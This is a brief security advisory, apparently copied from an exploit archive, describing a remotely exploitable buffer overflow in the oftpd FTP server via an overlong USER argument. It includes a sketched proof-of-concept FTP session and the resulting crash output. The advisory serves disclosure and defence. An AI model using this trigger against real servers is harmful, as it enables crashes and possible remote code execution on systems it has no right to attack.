source: https://www.securityfocus.com/bid/14161/info

oftpd is prone to a remotely exploitable buffer overflow. This may be triggered by a client through an overly long argument for the USER command.

Successful exploitation may let a remote attacker execute arbitrary code in the context of the server process. 

530 Only anonymous FTP supported.
ftp: Login failed.
ftp> user
(username)
usage: user username [password [account]]
ftp> user \0\0\0\0\0\ (much larger string)
500 Syntax error, command unrecognized.
Login failed.
ftp> user
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x30303054
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